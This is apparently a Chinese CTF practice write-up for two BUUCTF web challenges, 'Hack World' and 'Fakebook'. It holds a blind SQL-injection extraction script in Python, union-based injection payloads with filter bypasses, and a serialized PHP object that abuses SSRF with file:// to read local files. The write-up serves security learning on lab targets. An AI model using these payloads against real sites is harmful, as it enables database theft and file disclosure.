BUUCTF刷题笔记(十五)
§ [CISCN2019 华北赛区 Day2 Web1]Hack World
§ [网鼎杯 2018]Fakebook
[CISCN2019 华北赛区 Day2 Web1]Hack World
fuzz
拿字典跑了下
当 id 的值为1或2时会查询到以下结果
id=1 => Hello, glzjin wants a girlfriend.
id=2 => Do you want to be my girlfriend?
当 id 的值为其他数字或 @
时回显 Error Occured When Fetch Result.
当 id 的值为
or
and
from
like
insert
delect
update
select
sleep
时回显 bool(false)
当 id 的值为 --+
information
information_schema
separator
floor
xor
时回显 SQL Injection Checked.
尝试 id=if(length((select(flag)from(flag)))=42,1,0)
回显 Hello, glzjin wants a girlfriend.
确认 flag 有42个字符
二分法穷举
来自 inanb 的二分法穷举脚本
import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
l = 32
r = 126
while r > l:
mid = int((l+r+1) / 2)
x = str(x)
y = str(mid)
id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
response = requests.post(url=url,data=id)
if "Hello" in response.text:
l = mid
else:
r = mid-1
time.sleep(0.03)
flag+=(chr(int(r)))
print(chr(int(r)))
print(flag)
[网鼎杯 2018]Fakebook
dirsearch 扫出了 robots.txt
flag.php
error.php
view.php
db.php
robots.txt 提示存在 user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
简单注册登录后发现存在sql注入,扫字典
过滤了 0x7e
select union
no=-1%20order%20by%201,2,3,4,5%23 报错
存在四列数据
no=-1%20union%20select%201,2,3,4%20%23
no hack _
no=-1%20union/**/select%201,2,3,4%20%23
no=-1%20union/**/select%201,@@version_compile_os,3,4%20%23
Linux
no=-1%20union/**/select%201,version(),3,4%20%23
10.2.26-MariaDB-log
no=-1%20union/**/select%201,user(),3,4%20%23
root@localhost
no=-1%20union/**/select%201,database(),3,4%20%23
fakebook
no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20%23
users
no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20%23
no,username,passwd,data
no=-1%20union/**/select%201,data,3,4%20from%20users%20%23
O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:5:”0.com”;}
通过伪协议访问 file://var/www/html/flag.php
<?php
class UserInfo
{
public $name = "0";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}
no=-1%20union/**/select%201,2,3,%27O:8:”UserInfo”:3:{s:4:”name”;s:1:”0”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}%27
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3syOTkxM2UxYy0wZDllLTQ2OWEtYTEyNS0xZWZhOGUzMWYxMzF9IjsNCmV4aXQoMCk7DQo=
base64 解码后也会得到相同的内容
<?php
$flag = "flag{29913e1c-0d9e-469a-a125-1efa8e31f131}";
exit(0);
也可以 load_file 直接读取
no=-1 union/**/select 1,group_concat(load_file(‘/var/www/html/flag.php’)),3,4 from users #